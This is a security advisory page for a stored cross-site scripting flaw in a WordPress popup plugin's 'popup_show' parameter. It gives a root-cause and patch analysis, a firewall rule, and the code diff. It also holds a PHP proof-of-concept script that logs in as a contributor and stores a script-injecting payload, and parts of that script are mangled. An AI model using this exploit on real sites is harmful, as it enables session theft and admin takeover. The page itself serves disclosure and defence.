Published : December 2, 2026

CVE-2026-132785: Themify Popup <= 1.4.9 Authenticated (Contributor+) Stored Cross-Site Scripting via 'popup_show' Parameter PoC, Patch Analysis & Rule

Plugin themify-popup
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4.9
Patched Version 1.5.0
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-132785: Atomic Edge research identifies CVE-2026-132785 as an authenticated (Contributor+) Stored Cross-Site Scripting vulnerability in the Themify Popup plugin for WordPress, affecting all versions up to and including 1.4.9. The flaw resides in the plugin’s custom metabox framework and allows a contributor-level user to inject arbitrary JavaScript into the `popup_show` parameter, which is saved and later rendered without proper escaping. The CVSS score is 6.4 and the weakness maps to CWE-79.nnRoot Cause: The root cause is insufficient input sanitization and output escaping of the `popup_show` parameter, which is a nested array handled by the `sanitize_assignments` logic. In the vulnerable file `includes/themify-metabox/includes/themify-metabox-core.php`, the `sanitize` method (around lines 274+) previously fell through and returned the raw `$value` for any type not explicitly handled. The `popup_show` parameter is submitted as a multidimensional array (groups such as `general`, `roles`, `tax`, `post_type`), and without a dedicated sanitizer or type whitelist, arbitrary keys and scalar values (including “ tags) were stored. Later, when the metabox renders hidden inputs via `themify_array_to_input` in `includes/themify-metabox/includes/themify-metabox-utils.php` (line 144+), the function concatenated `$value` and `$name` directly into HTML attributes without `esc_attr()`, so the stored payload executed when an admin or editor viewed the post edit screen or the front-end popup.nnExploitation: An authenticated attacker with Contributor or higher privileges submits a crafted request to the post save handler (typically `post.php` or `admin-post.php` via the block editor) while editing a post or popup. The payload is placed inside the `popup_show` array, for example `popup_show[general][“>alert(document.cookie)]=on`. Because the vulnerable `sanitize` method does not sanitize nested assignment arrays, the key and value bypass `wp_kses` and reach the database. When any user with access to the edit screen (including administrators) loads the post, `themify_array_to_input` emits the payload unescaped into a hidden input, executing the script in their browser. The attack requires only a valid contributor session and the ability to save post meta, which contributor users can do for their own posts.nnPatch Analysis: The patched version 1.5.0 introduces a dedicated `sanitize_assignments` method and a `sanitize_assignment_level` helper in `themify-metabox-core.php`. The new code validates that `popup_show` is an array limited to known groups (`general`, `roles`, `tax`, `post_type`) with fixed depths, enforces that leaf values are scalar and non-empty, and normalizes leaves to the string `on`. The `sanitize_assignment_key` method restricts keys to `[a-zA-Z0-9_\-\/\.]` only, eliminating angle brackets and quotes. The patch also hardens `themify_array_to_input` in `themify-metabox-utils.php` by adding an `is_array()` guard and wrapping both `$value` and `$name` with `esc_attr()`. Together, these changes prevent the injection of HTML characters into the stored metadata and guarantee that any rendered hidden input is properly escaped.nnImpact: Successful exploitation leads to stored cross-site scripting against higher-privileged users (editors, administrators) who view the affected post or popup configuration. This can result in session hijacking, credential theft, arbitrary administrative actions under the victim’s context, and potentially remote code execution if an administrator is tricked into installing a malicious plugin or editing theme files. Confidentiality, integrity, and availability of the WordPress site are all at risk.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-132785 – Themify Popup $response, ‘info’ => $info);n}nn// Step 1: Fetch the WordPress login page to prime cookies.nhttp_request($target_url . ‘/wp-login.php’, ‘GET’, null, $cookie_jar);nn// Step 2: Authenticate as a Contributor user.n$login = http_request($target_url . ‘/wp-login.php’, ‘POST’, array(n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’,n), $cookie_jar);nn// Step 3: Create a new post to host the malicious metadata.n$create = http_request($target_url . ‘/wp-admin/post-new.php’, ‘GET’, null, $cookie_jar);nif (strpos($create[‘body’], ‘_wpnonce’) === false) {n die(“[!] Unable to authenticate or reach post editor. Check credentials and URL.\n”);n}nnpreg_match(‘/name=”_wpnonce” value=”([^”]+)”/’, $create[‘body’], $m);n$nonce = isset($m[1]) ? $m[1] : ”;nn// Step 4: Submit the post with the malicious popup_show parameter.n// The payload uses a key that breaks out of the hidden input attribute and injects a script.n$payload_key = ‘”>alert(document.domain)’;n$save = http_request($target_url . ‘/wp-admin/post.php’, ‘POST’, array(n ‘action’ => ‘editpost’,n ‘post_ID’ => ‘0’, // leave empty for draft creation; use a real ID in practicen ‘post_type’ => ‘post’,n ‘post_title’ => ‘CVE-2026-132785 PoC’,n ‘content’ => ‘Stored XSS proof of concept.’,n ‘popup_show’ => array(n ‘general’ => array(n $payload_key => ‘on’,n ),n ),n ‘_wpnonce’ => $nonce,n ‘save’ => ‘Save Draft’,n), $cookie_jar);nn// Step 5: The payload is now stored in post meta.n// When an administrator opens the post edit screen, themify_array_to_input()n// renders the key without escaping, executing the injected script.necho “[+] PoC submission complete.\n”;necho “[+] Check the post edit screen as an administrator to trigger the stored XSS.\n”;necho “[+] Response size: ” . strlen($save[‘body’]) . ” bytes\n”;nn@unlink($cookie_jar);n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-132785n# Blocks stored XSS via the ‘popup_show’ parameter in Themify Popup <= 1.4.9n# The parameter is a nested array where keys and values must not contain HTML special characters.n# Legitimate traffic sends only alphanumeric, underscore, hyphen, slash, and dot characters.nSecRule ARGS_NAMES|ARGS "@rx popup_show" \n "id:2026132785,phase:2,deny,status:403,chain,msg:'CVE-2026-132785 Themify Popup stored XSS via popup_show',severity:'CRITICAL',tag:'CVE-2026-132785',tag:'CWE-79'"n SecRule ARGS:popup_show "@rx [\”‘`]” \n “t:urlDecodeUni,t:htmlEntityDecode,t:lowercase”n”
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/themify-popup/includes/themify-metabox/includes/themify-metabox-core.php
+++ b/themify-popup/includes/themify-metabox/includes/themify-metabox-core.php
@@ -274,10 +274,84 @@
 			return wp_kses_data( $value );
 		}

+		if ( 'assignments' === $type ) {
+			return $this->sanitize_assignments( $value );
+		}
+
 		return $value;
 	}

 	/**
+	 * Assignment checkboxes are only on/off flags under known groups.
+	 *
+	 * @param mixed $value Raw posted value.
+	 * @return array|string
+	 */
+	protected function sanitize_assignments( $value ) {
+		if ( ! is_array( $value ) ) {
+			return '';
+		}
+		$groups = array(
+			'general' => 1,
+			'roles' => 1,
+			'tax' => 2,
+			'post_type' => 2,
+		);
+		$clean = array();
+		foreach ( $groups as $group => $depth ) {
+			if ( empty( $value[ $group ] ) || ! is_array( $value[ $group ] ) ) {
+				continue;
+			}
+			$sanitized = $this->sanitize_assignment_level( $value[ $group ], $depth );
+			if ( $sanitized ) {
+				$clean[ $group ] = $sanitized;
+			}
+		}
+		return $clean ? $clean : '';
+	}
+
+	/**
+	 * @param mixed $value
+	 * @param int   $depth Remaining array levels. Leaves are stored as "on".
+	 * @return array
+	 */
+	protected function sanitize_assignment_level( $value, $depth ) {
+		if ( ! is_array( $value ) || $depth < 1 ) {
+			return array();
+		}
+		$clean = array();
+		foreach ( $value as $key => $item ) {
+			$key = $this->sanitize_assignment_key( $key );
+			if ( '' === $key ) {
+				continue;
+			}
+			if ( $depth > 1 ) {
+				if ( ! is_array( $item ) ) {
+					continue;
+				}
+				$child = $this->sanitize_assignment_level( $item, $depth - 1 );
+				if ( $child ) {
+					$clean[ $key ] = $child;
+				}
+				continue;
+			}
+			if ( is_scalar( $item ) && '' !== (string) wp_unslash( $item ) ) {
+				$clean[ $key ] = 'on';
+			}
+		}
+		return $clean;
+	}
+
+	/**
+	 * @param mixed $key
+	 * @return string
+	 */
+	protected function sanitize_assignment_key( $key ) {
+		$key = (string) wp_unslash( $key );
+		return preg_match( '/^[a-zA-Z0-9_-/.]+$/', $key ) ? $key : '';
+	}
+
+	/**
 	 * Allowed values for a choice field.
 	 *
 	 * @param array $field Field config.
--- a/themify-popup/includes/themify-metabox/includes/themify-metabox-utils.php
+++ b/themify-popup/includes/themify-metabox/includes/themify-metabox-utils.php
@@ -144,7 +144,10 @@
  */
 function themify_array_to_input( $array, $prefix = '' ) {
 	$output = '';
-	if (count( array_filter( array_keys( $array ), 'is_string' ) ) ) {
+	if ( ! is_array( $array ) ) {
+		return $output;
+	}
+	if ( count( array_filter( array_keys( $array ), 'is_string' ) ) ) {
 		foreach ( $array as $key => $value ) {
 			if ( empty( $prefix ) ) {
 				$name = $key;
@@ -154,15 +157,15 @@
 			if ( is_array( $value ) ) {
 				$output .= themify_array_to_input( $value, $name );
 			} else {
-				$output .= '<input type="hidden" value="' . $value .'" name="' . $name .'">';
+				$output .= '<input type="hidden" value="' . esc_attr( $value ) . '" name="' . esc_attr( $name ) . '">';
 			}
 		}
 	} else {
-		foreach ($array as $item) {
-			if ( is_array($item) ) {
+		foreach ( $array as $item ) {
+			if ( is_array( $item ) ) {
 				$output .= themify_array_to_input( $item, $prefix . '[]' );
 			} else {
-				$output .= '<input type="hidden" name="' . $prefix . '[]" value="' . $item .'">';
+				$output .= '<input type="hidden" name="' . esc_attr( $prefix . '[]' ) . '" value="' . esc_attr( $item ) . '">';
 			}
 		}
 	}
--- a/themify-popup/themify-popup.php
+++ b/themify-popup/themify-popup.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name:  Themify Popup
 Plugin URI:   https://themify.me/popup
-Version:      1.4.9
+Version:      1.5.0
 Author:       Themify
 Description:  A free plugin to display popups for ads, newsletter subscriptions, and general info. It comes with various popup styles (classic, slide-out, fullscreen, etc.). Popups can be scheduled and configured to show on certain posts, pages, categories, and user roles.
 Text Domain:  themify-popup
@@ -12,7 +12,7 @@
 */

 defined( 'ABSPATH' ) or die( '-1' );
-const THEMIFY_POPUP_VERSION='1.4.9';
+const THEMIFY_POPUP_VERSION='1.5.0';
 /**
  * Bootstrap Popup plugin
  *

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.